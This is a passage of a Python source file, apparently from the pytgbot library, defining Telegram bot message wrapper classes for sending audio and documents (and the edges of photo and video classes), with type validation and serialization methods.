isinstance(array.get('reply_markup'), ReplyKeyboardMarkup): data['reply_markup'] = ReplyKeyboardMarkup.from_array(array.get('reply_markup')) elif isinstance(array.get('reply_markup'), ReplyKeyboardRemove): data['reply_markup'] = ReplyKeyboardRemove.from_array(array.get('reply_markup')) elif isinstance(array.get('reply_markup'), ForceReply): data['reply_markup'] = ForceReply.from_array(array.get('reply_markup')) else: raise TypeError('Unknown type, must be one of InlineKeyboardMarkup, ReplyKeyboardMarkup, ReplyKeyboardRemove, ForceReply or None.') # end if return data # end def validate_array @staticmethod def from_array(array): """ Deserialize a new PhotoMessage from a given dictionary. :return: new PhotoMessage instance. :rtype: PhotoMessage """ if not array: # None or {} return None # end if data = PhotoMessage.validate_array(array) return PhotoMessage(**data) # end def from_array def __str__(self): """ Implements `str(photomessage_instance)` """ return "PhotoMessage(photo={self.photo!r}, receiver={self.receiver!r}, reply_id={self.reply_id!r}, caption={self.caption!r}, parse_mode={self.parse_mode!r}, caption_entities={self.caption_entities!r}, disable_notification={self.disable_notification!r}, allow_sending_without_reply={self.allow_sending_without_reply!r}, reply_markup={self.reply_markup!r})".format(self=self) # end def __str__ def __repr__(self): """ Implements `repr(photomessage_instance)` """ return "PhotoMessage(photo={self.photo!r}, receiver={self.receiver!r}, reply_id={self.reply_id!r}, caption={self.caption!r}, parse_mode={self.parse_mode!r}, caption_entities={self.caption_entities!r}, disable_notification={self.disable_notification!r}, allow_sending_without_reply={self.allow_sending_without_reply!r}, reply_markup={self.reply_markup!r})".format(self=self) # end def __repr__ def __contains__(self, key): """ Implements `"key" in photomessage_instance` """ return ( key in ["photo", "receiver", "reply_id", "caption", "parse_mode", "caption_entities", "disable_notification", "allow_sending_without_reply", "reply_markup"] and hasattr(self, key) and bool(getattr(self, key, None)) ) # end def __contains__ # end class PhotoMessage class AudioMessage(ReturnableMessageBase): """ Use this method to send audio files, if you want Telegram clients to display them in the music player. Your audio must be in the .MP3 or .M4A format. On success, the sent Message is returned. Bots can currently send audio files of up to 50 MB in size, this limit may be changed in the future. For sending voice messages, use the sendVoice method instead. https://core.telegram.org/bots/api#sendaudio Parameters: :param audio: Audio file to send. Pass a file_id as String to send an audio file that exists on the Telegram servers (recommended), pass an HTTP URL as a String for Telegram to get an audio file from the Internet, or upload a new one using multipart/form-data. More info on Sending Files » :type audio: pytgbot.api_types.sendable.files.InputFile | str|unicode Optional keyword parameters: :param receiver: Set if you want to overwrite the receiver, which automatically is the chat_id in group chats, and the from_peer id in private conversations. :type receiver: str|unicode | int :param reply_id: Set if you want to overwrite the `reply_to_message_id`, which automatically is the message triggering the bot. :type reply_id: DEFAULT_MESSAGE_ID | int :param caption: Audio caption, 0-1024 characters after entities parsing :type caption: str|unicode :param parse_mode: Mode for parsing entities in the audio caption. See formatting options for more details. :type parse_mode: str|unicode :param caption_entities: A JSON-serialized list of special entities that appear in the caption, which can be specified instead of parse_mode :type caption_entities: list of pytgbot.api_types.receivable.media.MessageEntity :param duration: Duration of the audio in seconds :type duration: int :param performer: Performer :type performer: str|unicode :param title: Track name :type title: str|unicode :param thumb: Thumbnail of the file sent; can be ignored if thumbnail generation for the file is supported server-side. The thumbnail should be in JPEG format and less than 200 kB in size. A thumbnail's width and height should not exceed 320. Ignored if the file is not uploaded using multipart/form-data. Thumbnails can't be reused and can be only uploaded as a new file, so you can pass "attach://<file_attach_name>" if the thumbnail was uploaded using multipart/form-data under <file_attach_name>. More info on Sending Files » :type thumb: pytgbot.api_types.sendable.files.InputFile | str|unicode :param disable_notification: Sends the message silently. Users will receive a notification with no sound. :type disable_notification: bool :param allow_sending_without_reply: Pass True, if the message should be sent even if the specified replied-to message is not found :type allow_sending_without_reply: bool :param reply_markup: Additional interface options. A JSON-serialized object for an inline keyboard, custom reply keyboard, instructions to remove reply keyboard or to force a reply from the user. :type reply_markup: pytgbot.api_types.sendable.reply_markup.InlineKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardRemove | pytgbot.api_types.sendable.reply_markup.ForceReply """ def __init__(self, audio, receiver=None, reply_id=DEFAULT_MESSAGE_ID, caption=None, parse_mode=None, caption_entities=None, duration=None, performer=None, title=None, thumb=None, disable_notification=None, allow_sending_without_reply=None, reply_markup=None): """ Use this method to send audio files, if you want Telegram clients to display them in the music player. Your audio must be in the .MP3 or .M4A format. On success, the sent Message is returned. Bots can currently send audio files of up to 50 MB in size, this limit may be changed in the future. For sending voice messages, use the sendVoice method instead. https://core.telegram.org/bots/api#sendaudio Parameters: :param audio: Audio file to send. Pass a file_id as String to send an audio file that exists on the Telegram servers (recommended), pass an HTTP URL as a String for Telegram to get an audio file from the Internet, or upload a new one using multipart/form-data. More info on Sending Files » :type audio: pytgbot.api_types.sendable.files.InputFile | str|unicode Optional keyword parameters: :param receiver: Set if you want to overwrite the receiver, which automatically is the chat_id in group chats, and the from_peer id in private conversations. :type receiver: str|unicode | int :param reply_id: Set if you want to overwrite the `reply_to_message_id`, which automatically is the message triggering the bot. :type reply_id: DEFAULT_MESSAGE_ID | int :param caption: Audio caption, 0-1024 characters after entities parsing :type caption: str|unicode :param parse_mode: Mode for parsing entities in the audio caption. See formatting options for more details. :type parse_mode: str|unicode :param caption_entities: A JSON-serialized list of special entities that appear in the caption, which can be specified instead of parse_mode :type caption_entities: list of pytgbot.api_types.receivable.media.MessageEntity :param duration: Duration of the audio in seconds :type duration: int :param performer: Performer :type performer: str|unicode :param title: Track name :type title: str|unicode :param thumb: Thumbnail of the file sent; can be ignored if thumbnail generation for the file is supported server-side. The thumbnail should be in JPEG format and less than 200 kB in size. A thumbnail's width and height should not exceed 320. Ignored if the file is not uploaded using multipart/form-data. Thumbnails can't be reused and can be only uploaded as a new file, so you can pass "attach://<file_attach_name>" if the thumbnail was uploaded using multipart/form-data under <file_attach_name>. More info on Sending Files » :type thumb: pytgbot.api_types.sendable.files.InputFile | str|unicode :param disable_notification: Sends the message silently. Users will receive a notification with no sound. :type disable_notification: bool :param allow_sending_without_reply: Pass True, if the message should be sent even if the specified replied-to message is not found :type allow_sending_without_reply: bool :param reply_markup: Additional interface options. A JSON-serialized object for an inline keyboard, custom reply keyboard, instructions to remove reply keyboard or to force a reply from the user. :type reply_markup: pytgbot.api_types.sendable.reply_markup.InlineKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardRemove | pytgbot.api_types.sendable.reply_markup.ForceReply """ super(AudioMessage, self).__init__() from pytgbot.api_types.receivable.media import MessageEntity from pytgbot.api_types.sendable.files import InputFile from pytgbot.api_types.sendable.reply_markup import ForceReply from pytgbot.api_types.sendable.reply_markup import InlineKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardRemove assert_type_or_raise(audio, InputFile, unicode_type, parameter_name="audio") self.audio = audio assert_type_or_raise(receiver, None, unicode_type, int, parameter_name="receiver") self.receiver = receiver assert_type_or_raise(reply_id, None, DEFAULT_MESSAGE_ID, int, parameter_name="reply_id") self.reply_id = reply_id assert_type_or_raise(caption, None, unicode_type, parameter_name="caption") self.caption = caption assert_type_or_raise(parse_mode, None, unicode_type, parameter_name="parse_mode") self.parse_mode = parse_mode assert_type_or_raise(caption_entities, None, list, parameter_name="caption_entities") self.caption_entities = caption_entities assert_type_or_raise(duration, None, int, parameter_name="duration") self.duration = duration assert_type_or_raise(performer, None, unicode_type, parameter_name="performer") self.performer = performer assert_type_or_raise(title, None, unicode_type, parameter_name="title") self.title = title assert_type_or_raise(thumb, None, InputFile, unicode_type, parameter_name="thumb") self.thumb = thumb assert_type_or_raise(disable_notification, None, bool, parameter_name="disable_notification") self.disable_notification = disable_notification assert_type_or_raise(allow_sending_without_reply, None, bool, parameter_name="allow_sending_without_reply") self.allow_sending_without_reply = allow_sending_without_reply assert_type_or_raise(reply_markup, None, InlineKeyboardMarkup, ReplyKeyboardMarkup, ReplyKeyboardRemove, ForceReply, parameter_name="reply_markup") self.reply_markup = reply_markup # custom variable for message chaining self._next_msg = None # end def __init__ def actual_send(self, sender: PytgbotApiBot, *, ignore_reply: bool = False) -> PytgbotApiMessage: """ Send the message via pytgbot. :param sender: The bot instance to send with. :type sender: pytgbot.bot.Bot :param ignore_reply: If we should not include the the `reply_to` parameter, because that already failed. :type ignore_reply: bool :rtype: PytgbotApiMessage """ return sender.send_audio( audio=self.audio, chat_id=self.receiver, reply_to_message_id=self.reply_id, caption=self.caption, parse_mode=self.parse_mode, caption_entities=self.caption_entities, duration=self.duration, performer=self.performer, title=self.title, thumb=self.thumb, disable_notification=self.disable_notification, allow_sending_without_reply=self.allow_sending_without_reply, reply_markup=self.reply_markup, ) # end def send def to_array(self): """ Serializes this AudioMessage to a dictionary. :return: dictionary representation of this object. :rtype: dict """ from pytgbot.api_types.receivable.media import MessageEntity from pytgbot.api_types.sendable.files import InputFile from pytgbot.api_types.sendable.reply_markup import ForceReply from pytgbot.api_types.sendable.reply_markup import InlineKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardRemove array = super(AudioMessage, self).to_array() if isinstance(self.audio, InputFile): array['audio'] = self.audio.to_array() # type InputFile elif isinstance(self.audio, str): array['audio'] = u(self.audio) # py2: type unicode, py3: type str else: raise TypeError('Unknown type, must be one of InputFile, str.') # end if if isinstance(self.receiver, str): array['chat_id'] = u(self.receiver) # py2: type unicode, py3: type str elif isinstance(self.receiver, int): array['chat_id'] = int(self.receiver) # type int else: raise TypeError('Unknown type, must be one of str, int.') # end if if isinstance(self.reply_id, DEFAULT_MESSAGE_ID): array['reply_to_message_id'] = DEFAULT_MESSAGE_ID(self.reply_id) # type DEFAULT_MESSAGE_ID elif isinstance(self.reply_id, int): array['reply_to_message_id'] = int(self.reply_id) # type int else: raise TypeError('Unknown type, must be one of DEFAULT_MESSAGE_ID, int.') # end if array['caption'] = u(self.caption) # py2: type unicode, py3: type str array['parse_mode'] = u(self.parse_mode) # py2: type unicode, py3: type str array['caption_entities'] = PytgbotApiBot._as_array(self.caption_entities) # type list of MessageEntity array['duration'] = int(self.duration) # type int array['performer'] = u(self.performer) # py2: type unicode, py3: type str array['title'] = u(self.title) # py2: type unicode, py3: type str if isinstance(self.thumb, InputFile): array['thumb'] = self.thumb.to_array() # type InputFile elif isinstance(self.thumb, str): array['thumb'] = u(self.thumb) # py2: type unicode, py3: type str else: raise TypeError('Unknown type, must be one of InputFile, str.') # end if array['disable_notification'] = bool(self.disable_notification) # type bool array['allow_sending_without_reply'] = bool(self.allow_sending_without_reply) # type bool if isinstance(self.reply_markup, InlineKeyboardMarkup): array['reply_markup'] = self.reply_markup.to_array() # type InlineKeyboardMarkup elif isinstance(self.reply_markup, ReplyKeyboardMarkup): array['reply_markup'] = self.reply_markup.to_array() # type ReplyKeyboardMarkup elif isinstance(self.reply_markup, ReplyKeyboardRemove): array['reply_markup'] = self.reply_markup.to_array() # type ReplyKeyboardRemove elif isinstance(self.reply_markup, ForceReply): array['reply_markup'] = self.reply_markup.to_array() # type ForceReply else: raise TypeError('Unknown type, must be one of InlineKeyboardMarkup, ReplyKeyboardMarkup, ReplyKeyboardRemove, ForceReply.') # end if return array # end def to_array @staticmethod def validate_array(array): """ Builds a new array with valid values for the AudioMessage constructor. :return: new array with valid values :rtype: dict """ assert_type_or_raise(array, dict, parameter_name="array") from pytgbot.api_types.receivable.media import MessageEntity from pytgbot.api_types.sendable.files import InputFile from pytgbot.api_types.sendable.reply_markup import ForceReply from pytgbot.api_types.sendable.reply_markup import InlineKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardRemove data = super(AudioMessage, AudioMessage).validate_array(array) if isinstance(array.get('audio'), InputFile): data['audio'] = InputFile.from_array(array.get('audio')) elif isinstance(array.get('audio'), str): data['audio'] = u(array.get('audio')) else: raise TypeError('Unknown type, must be one of InputFile, str.') # end if if array.get('chat_id') is None: data['receiver'] = None elif isinstance(array.get('chat_id'), str): data['receiver'] = u(array.get('chat_id')) elif isinstance(array.get('chat_id'), int): data['receiver'] = int(array.get('chat_id')) else: raise TypeError('Unknown type, must be one of str, int or None.') # end if if array.get('reply_to_message_id') is None: data['reply_id'] = None elif isinstance(array.get('reply_to_message_id'), DEFAULT_MESSAGE_ID): data['reply_id'] = DEFAULT_MESSAGE_ID elif isinstance(array.get('reply_to_message_id'), int): data['reply_id'] = int(array.get('reply_to_message_id')) else: raise TypeError('Unknown type, must be one of DEFAULT_MESSAGE_ID, int or None.') # end if data['caption'] = u(array.get('caption')) if array.get('caption') is not None else None data['parse_mode'] = u(array.get('parse_mode')) if array.get('parse_mode') is not None else None data['caption_entities'] = MessageEntity.from_array_list(array.get('caption_entities'), list_level=1) if array.get('caption_entities') is not None else None data['duration'] = int(array.get('duration')) if array.get('duration') is not None else None data['performer'] = u(array.get('performer')) if array.get('performer') is not None else None data['title'] = u(array.get('title')) if array.get('title') is not None else None if array.get('thumb') is None: data['thumb'] = None elif isinstance(array.get('thumb'), InputFile): data['thumb'] = InputFile.from_array(array.get('thumb')) elif isinstance(array.get('thumb'), str): data['thumb'] = u(array.get('thumb')) else: raise TypeError('Unknown type, must be one of InputFile, str or None.') # end if data['disable_notification'] = bool(array.get('disable_notification')) if array.get('disable_notification') is not None else None data['allow_sending_without_reply'] = bool(array.get('allow_sending_without_reply')) if array.get('allow_sending_without_reply') is not None else None if array.get('reply_markup') is None: data['reply_markup'] = None elif isinstance(array.get('reply_markup'), InlineKeyboardMarkup): data['reply_markup'] = InlineKeyboardMarkup.from_array(array.get('reply_markup')) elif isinstance(array.get('reply_markup'), ReplyKeyboardMarkup): data['reply_markup'] = ReplyKeyboardMarkup.from_array(array.get('reply_markup')) elif isinstance(array.get('reply_markup'), ReplyKeyboardRemove): data['reply_markup'] = ReplyKeyboardRemove.from_array(array.get('reply_markup')) elif isinstance(array.get('reply_markup'), ForceReply): data['reply_markup'] = ForceReply.from_array(array.get('reply_markup')) else: raise TypeError('Unknown type, must be one of InlineKeyboardMarkup, ReplyKeyboardMarkup, ReplyKeyboardRemove, ForceReply or None.') # end if return data # end def validate_array @staticmethod def from_array(array): """ Deserialize a new AudioMessage from a given dictionary. :return: new AudioMessage instance. :rtype: AudioMessage """ if not array: # None or {} return None # end if data = AudioMessage.validate_array(array) return AudioMessage(**data) # end def from_array def __str__(self): """ Implements `str(audiomessage_instance)` """ return "AudioMessage(audio={self.audio!r}, receiver={self.receiver!r}, reply_id={self.reply_id!r}, caption={self.caption!r}, parse_mode={self.parse_mode!r}, caption_entities={self.caption_entities!r}, duration={self.duration!r}, performer={self.performer!r}, title={self.title!r}, thumb={self.thumb!r}, disable_notification={self.disable_notification!r}, allow_sending_without_reply={self.allow_sending_without_reply!r}, reply_markup={self.reply_markup!r})".format(self=self) # end def __str__ def __repr__(self): """ Implements `repr(audiomessage_instance)` """ return "AudioMessage(audio={self.audio!r}, receiver={self.receiver!r}, reply_id={self.reply_id!r}, caption={self.caption!r}, parse_mode={self.parse_mode!r}, caption_entities={self.caption_entities!r}, duration={self.duration!r}, performer={self.performer!r}, title={self.title!r}, thumb={self.thumb!r}, disable_notification={self.disable_notification!r}, allow_sending_without_reply={self.allow_sending_without_reply!r}, reply_markup={self.reply_markup!r})".format(self=self) # end def __repr__ def __contains__(self, key): """ Implements `"key" in audiomessage_instance` """ return ( key in ["audio", "receiver", "reply_id", "caption", "parse_mode", "caption_entities", "duration", "performer", "title", "thumb", "disable_notification", "allow_sending_without_reply", "reply_markup"] and hasattr(self, key) and bool(getattr(self, key, None)) ) # end def __contains__ # end class AudioMessage class DocumentMessage(ReturnableMessageBase): """ Use this method to send general files. On success, the sent Message is returned. Bots can currently send files of any type of up to 50 MB in size, this limit may be changed in the future. https://core.telegram.org/bots/api#senddocument Parameters: :param document: File to send. Pass a file_id as String to send a file that exists on the Telegram servers (recommended), pass an HTTP URL as a String for Telegram to get a file from the Internet, or upload a new one using multipart/form-data. More info on Sending Files » :type document: pytgbot.api_types.sendable.files.InputFile | str|unicode Optional keyword parameters: :param receiver: Set if you want to overwrite the receiver, which automatically is the chat_id in group chats, and the from_peer id in private conversations. :type receiver: str|unicode | int :param reply_id: Set if you want to overwrite the `reply_to_message_id`, which automatically is the message triggering the bot. :type reply_id: DEFAULT_MESSAGE_ID | int :param thumb: Thumbnail of the file sent; can be ignored if thumbnail generation for the file is supported server-side. The thumbnail should be in JPEG format and less than 200 kB in size. A thumbnail's width and height should not exceed 320. Ignored if the file is not uploaded using multipart/form-data. Thumbnails can't be reused and can be only uploaded as a new file, so you can pass "attach://<file_attach_name>" if the thumbnail was uploaded using multipart/form-data under <file_attach_name>. More info on Sending Files » :type thumb: pytgbot.api_types.sendable.files.InputFile | str|unicode :param caption: Document caption (may also be used when resending documents by file_id), 0-1024 characters after entities parsing :type caption: str|unicode :param parse_mode: Mode for parsing entities in the document caption. See formatting options for more details. :type parse_mode: str|unicode :param caption_entities: A JSON-serialized list of special entities that appear in the caption, which can be specified instead of parse_mode :type caption_entities: list of pytgbot.api_types.receivable.media.MessageEntity :param disable_content_type_detection: Disables automatic server-side content type detection for files uploaded using multipart/form-data :type disable_content_type_detection: bool :param disable_notification: Sends the message silently. Users will receive a notification with no sound. :type disable_notification: bool :param allow_sending_without_reply: Pass True, if the message should be sent even if the specified replied-to message is not found :type allow_sending_without_reply: bool :param reply_markup: Additional interface options. A JSON-serialized object for an inline keyboard, custom reply keyboard, instructions to remove reply keyboard or to force a reply from the user. :type reply_markup: pytgbot.api_types.sendable.reply_markup.InlineKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardRemove | pytgbot.api_types.sendable.reply_markup.ForceReply """ def __init__(self, document, receiver=None, reply_id=DEFAULT_MESSAGE_ID, thumb=None, caption=None, parse_mode=None, caption_entities=None, disable_content_type_detection=None, disable_notification=None, allow_sending_without_reply=None, reply_markup=None): """ Use this method to send general files. On success, the sent Message is returned. Bots can currently send files of any type of up to 50 MB in size, this limit may be changed in the future. https://core.telegram.org/bots/api#senddocument Parameters: :param document: File to send. Pass a file_id as String to send a file that exists on the Telegram servers (recommended), pass an HTTP URL as a String for Telegram to get a file from the Internet, or upload a new one using multipart/form-data. More info on Sending Files » :type document: pytgbot.api_types.sendable.files.InputFile | str|unicode Optional keyword parameters: :param receiver: Set if you want to overwrite the receiver, which automatically is the chat_id in group chats, and the from_peer id in private conversations. :type receiver: str|unicode | int :param reply_id: Set if you want to overwrite the `reply_to_message_id`, which automatically is the message triggering the bot. :type reply_id: DEFAULT_MESSAGE_ID | int :param thumb: Thumbnail of the file sent; can be ignored if thumbnail generation for the file is supported server-side. The thumbnail should be in JPEG format and less than 200 kB in size. A thumbnail's width and height should not exceed 320. Ignored if the file is not uploaded using multipart/form-data. Thumbnails can't be reused and can be only uploaded as a new file, so you can pass "attach://<file_attach_name>" if the thumbnail was uploaded using multipart/form-data under <file_attach_name>. More info on Sending Files » :type thumb: pytgbot.api_types.sendable.files.InputFile | str|unicode :param caption: Document caption (may also be used when resending documents by file_id), 0-1024 characters after entities parsing :type caption: str|unicode :param parse_mode: Mode for parsing entities in the document caption. See formatting options for more details. :type parse_mode: str|unicode :param caption_entities: A JSON-serialized list of special entities that appear in the caption, which can be specified instead of parse_mode :type caption_entities: list of pytgbot.api_types.receivable.media.MessageEntity :param disable_content_type_detection: Disables automatic server-side content type detection for files uploaded using multipart/form-data :type disable_content_type_detection: bool :param disable_notification: Sends the message silently. Users will receive a notification with no sound. :type disable_notification: bool :param allow_sending_without_reply: Pass True, if the message should be sent even if the specified replied-to message is not found :type allow_sending_without_reply: bool :param reply_markup: Additional interface options. A JSON-serialized object for an inline keyboard, custom reply keyboard, instructions to remove reply keyboard or to force a reply from the user. :type reply_markup: pytgbot.api_types.sendable.reply_markup.InlineKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardRemove | pytgbot.api_types.sendable.reply_markup.ForceReply """ super(DocumentMessage, self).__init__() from pytgbot.api_types.receivable.media import MessageEntity from pytgbot.api_types.sendable.files import InputFile from pytgbot.api_types.sendable.reply_markup import ForceReply from pytgbot.api_types.sendable.reply_markup import InlineKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardRemove assert_type_or_raise(document, InputFile, unicode_type, parameter_name="document") self.document = document assert_type_or_raise(receiver, None, unicode_type, int, parameter_name="receiver") self.receiver = receiver assert_type_or_raise(reply_id, None, DEFAULT_MESSAGE_ID, int, parameter_name="reply_id") self.reply_id = reply_id assert_type_or_raise(thumb, None, InputFile, unicode_type, parameter_name="thumb") self.thumb = thumb assert_type_or_raise(caption, None, unicode_type, parameter_name="caption") self.caption = caption assert_type_or_raise(parse_mode, None, unicode_type, parameter_name="parse_mode") self.parse_mode = parse_mode assert_type_or_raise(caption_entities, None, list, parameter_name="caption_entities") self.caption_entities = caption_entities assert_type_or_raise(disable_content_type_detection, None, bool, parameter_name="disable_content_type_detection") self.disable_content_type_detection = disable_content_type_detection assert_type_or_raise(disable_notification, None, bool, parameter_name="disable_notification") self.disable_notification = disable_notification assert_type_or_raise(allow_sending_without_reply, None, bool, parameter_name="allow_sending_without_reply") self.allow_sending_without_reply = allow_sending_without_reply assert_type_or_raise(reply_markup, None, InlineKeyboardMarkup, ReplyKeyboardMarkup, ReplyKeyboardRemove, ForceReply, parameter_name="reply_markup") self.reply_markup = reply_markup # custom variable for message chaining self._next_msg = None # end def __init__ def actual_send(self, sender: PytgbotApiBot, *, ignore_reply: bool = False) -> PytgbotApiMessage: """ Send the message via pytgbot. :param sender: The bot instance to send with. :type sender: pytgbot.bot.Bot :param ignore_reply: If we should not include the the `reply_to` parameter, because that already failed. :type ignore_reply: bool :rtype: PytgbotApiMessage """ return sender.send_document( document=self.document, chat_id=self.receiver, reply_to_message_id=self.reply_id, thumb=self.thumb, caption=self.caption, parse_mode=self.parse_mode, caption_entities=self.caption_entities, disable_content_type_detection=self.disable_content_type_detection, disable_notification=self.disable_notification, allow_sending_without_reply=self.allow_sending_without_reply, reply_markup=self.reply_markup, ) # end def send def to_array(self): """ Serializes this DocumentMessage to a dictionary. :return: dictionary representation of this object. :rtype: dict """ from pytgbot.api_types.receivable.media import MessageEntity from pytgbot.api_types.sendable.files import InputFile from pytgbot.api_types.sendable.reply_markup import ForceReply from pytgbot.api_types.sendable.reply_markup import InlineKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardRemove array = super(DocumentMessage, self).to_array() if isinstance(self.document, InputFile): array['document'] = self.document.to_array() # type InputFile elif isinstance(self.document, str): array['document'] = u(self.document) # py2: type unicode, py3: type str else: raise TypeError('Unknown type, must be one of InputFile, str.') # end if if isinstance(self.receiver, str): array['chat_id'] = u(self.receiver) # py2: type unicode, py3: type str elif isinstance(self.receiver, int): array['chat_id'] = int(self.receiver) # type int else: raise TypeError('Unknown type, must be one of str, int.') # end if if isinstance(self.reply_id, DEFAULT_MESSAGE_ID): array['reply_to_message_id'] = DEFAULT_MESSAGE_ID(self.reply_id) # type DEFAULT_MESSAGE_ID elif isinstance(self.reply_id, int): array['reply_to_message_id'] = int(self.reply_id) # type int else: raise TypeError('Unknown type, must be one of DEFAULT_MESSAGE_ID, int.') # end if if isinstance(self.thumb, InputFile): array['thumb'] = self.thumb.to_array() # type InputFile elif isinstance(self.thumb, str): array['thumb'] = u(self.thumb) # py2: type unicode, py3: type str else: raise TypeError('Unknown type, must be one of InputFile, str.') # end if array['caption'] = u(self.caption) # py2: type unicode, py3: type str array['parse_mode'] = u(self.parse_mode) # py2: type unicode, py3: type str array['caption_entities'] = PytgbotApiBot._as_array(self.caption_entities) # type list of MessageEntity array['disable_content_type_detection'] = bool(self.disable_content_type_detection) # type bool array['disable_notification'] = bool(self.disable_notification) # type bool array['allow_sending_without_reply'] = bool(self.allow_sending_without_reply) # type bool if isinstance(self.reply_markup, InlineKeyboardMarkup): array['reply_markup'] = self.reply_markup.to_array() # type InlineKeyboardMarkup elif isinstance(self.reply_markup, ReplyKeyboardMarkup): array['reply_markup'] = self.reply_markup.to_array() # type ReplyKeyboardMarkup elif isinstance(self.reply_markup, ReplyKeyboardRemove): array['reply_markup'] = self.reply_markup.to_array() # type ReplyKeyboardRemove elif isinstance(self.reply_markup, ForceReply): array['reply_markup'] = self.reply_markup.to_array() # type ForceReply else: raise TypeError('Unknown type, must be one of InlineKeyboardMarkup, ReplyKeyboardMarkup, ReplyKeyboardRemove, ForceReply.') # end if return array # end def to_array @staticmethod def validate_array(array): """ Builds a new array with valid values for the DocumentMessage constructor. :return: new array with valid values :rtype: dict """ assert_type_or_raise(array, dict, parameter_name="array") from pytgbot.api_types.receivable.media import MessageEntity from pytgbot.api_types.sendable.files import InputFile from pytgbot.api_types.sendable.reply_markup import ForceReply from pytgbot.api_types.sendable.reply_markup import InlineKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardRemove data = super(DocumentMessage, DocumentMessage).validate_array(array) if isinstance(array.get('document'), InputFile): data['document'] = InputFile.from_array(array.get('document')) elif isinstance(array.get('document'), str): data['document'] = u(array.get('document')) else: raise TypeError('Unknown type, must be one of InputFile, str.') # end if if array.get('chat_id') is None: data['receiver'] = None elif isinstance(array.get('chat_id'), str): data['receiver'] = u(array.get('chat_id')) elif isinstance(array.get('chat_id'), int): data['receiver'] = int(array.get('chat_id')) else: raise TypeError('Unknown type, must be one of str, int or None.') # end if if array.get('reply_to_message_id') is None: data['reply_id'] = None elif isinstance(array.get('reply_to_message_id'), DEFAULT_MESSAGE_ID): data['reply_id'] = DEFAULT_MESSAGE_ID elif isinstance(array.get('reply_to_message_id'), int): data['reply_id'] = int(array.get('reply_to_message_id')) else: raise TypeError('Unknown type, must be one of DEFAULT_MESSAGE_ID, int or None.') # end if if array.get('thumb') is None: data['thumb'] = None elif isinstance(array.get('thumb'), InputFile): data['thumb'] = InputFile.from_array(array.get('thumb')) elif isinstance(array.get('thumb'), str): data['thumb'] = u(array.get('thumb')) else: raise TypeError('Unknown type, must be one of InputFile, str or None.') # end if data['caption'] = u(array.get('caption')) if array.get('caption') is not None else None data['parse_mode'] = u(array.get('parse_mode')) if array.get('parse_mode') is not None else None data['caption_entities'] = MessageEntity.from_array_list(array.get('caption_entities'), list_level=1) if array.get('caption_entities') is not None else None data['disable_content_type_detection'] = bool(array.get('disable_content_type_detection')) if array.get('disable_content_type_detection') is not None else None data['disable_notification'] = bool(array.get('disable_notification')) if array.get('disable_notification') is not None else None data['allow_sending_without_reply'] = bool(array.get('allow_sending_without_reply')) if array.get('allow_sending_without_reply') is not None else None if array.get('reply_markup') is None: data['reply_markup'] = None elif isinstance(array.get('reply_markup'), InlineKeyboardMarkup): data['reply_markup'] = InlineKeyboardMarkup.from_array(array.get('reply_markup')) elif isinstance(array.get('reply_markup'), ReplyKeyboardMarkup): data['reply_markup'] = ReplyKeyboardMarkup.from_array(array.get('reply_markup')) elif isinstance(array.get('reply_markup'), ReplyKeyboardRemove): data['reply_markup'] = ReplyKeyboardRemove.from_array(array.get('reply_markup')) elif isinstance(array.get('reply_markup'), ForceReply): data['reply_markup'] = ForceReply.from_array(array.get('reply_markup')) else: raise TypeError('Unknown type, must be one of InlineKeyboardMarkup, ReplyKeyboardMarkup, ReplyKeyboardRemove, ForceReply or None.') # end if return data # end def validate_array @staticmethod def from_array(array): """ Deserialize a new DocumentMessage from a given dictionary. :return: new DocumentMessage instance. :rtype: DocumentMessage """ if not array: # None or {} return None # end if data = DocumentMessage.validate_array(array) return DocumentMessage(**data) # end def from_array def __str__(self): """ Implements `str(documentmessage_instance)` """ return "DocumentMessage(document={self.document!r}, receiver={self.receiver!r}, reply_id={self.reply_id!r}, thumb={self.thumb!r}, caption={self.caption!r}, parse_mode={self.parse_mode!r}, caption_entities={self.caption_entities!r}, disable_content_type_detection={self.disable_content_type_detection!r}, disable_notification={self.disable_notification!r}, allow_sending_without_reply={self.allow_sending_without_reply!r}, reply_markup={self.reply_markup!r})".format(self=self) # end def __str__ def __repr__(self): """ Implements `repr(documentmessage_instance)` """ return "DocumentMessage(document={self.document!r}, receiver={self.receiver!r}, reply_id={self.reply_id!r}, thumb={self.thumb!r}, caption={self.caption!r}, parse_mode={self.parse_mode!r}, caption_entities={self.caption_entities!r}, disable_content_type_detection={self.disable_content_type_detection!r}, disable_notification={self.disable_notification!r}, allow_sending_without_reply={self.allow_sending_without_reply!r}, reply_markup={self.reply_markup!r})".format(self=self) # end def __repr__ def __contains__(self, key): """ Implements `"key" in documentmessage_instance` """ return ( key in ["document", "receiver", "reply_id", "thumb", "caption", "parse_mode", "caption_entities", "disable_content_type_detection", "disable_notification", "allow_sending_without_reply", "reply_markup"] and hasattr(self, key) and bool(getattr(self, key, None)) ) # end def __contains__ # end class DocumentMessage class VideoMessage(ReturnableMessageBase): """ Use this method to send video files, Telegram clients support mp4 videos (other formats may be sent as Document). On success, the sent Message is returned. Bots can currently send video files of up to 50 MB in size, this limit may be changed in the future. https://core.telegram.org/bots/api#sendvideo Parameters: :param video: Video to send. Pass a file_id as String to send a video that exists on the Telegram servers (recommended), pass an HTTP URL as a String for Telegram to get a video from the 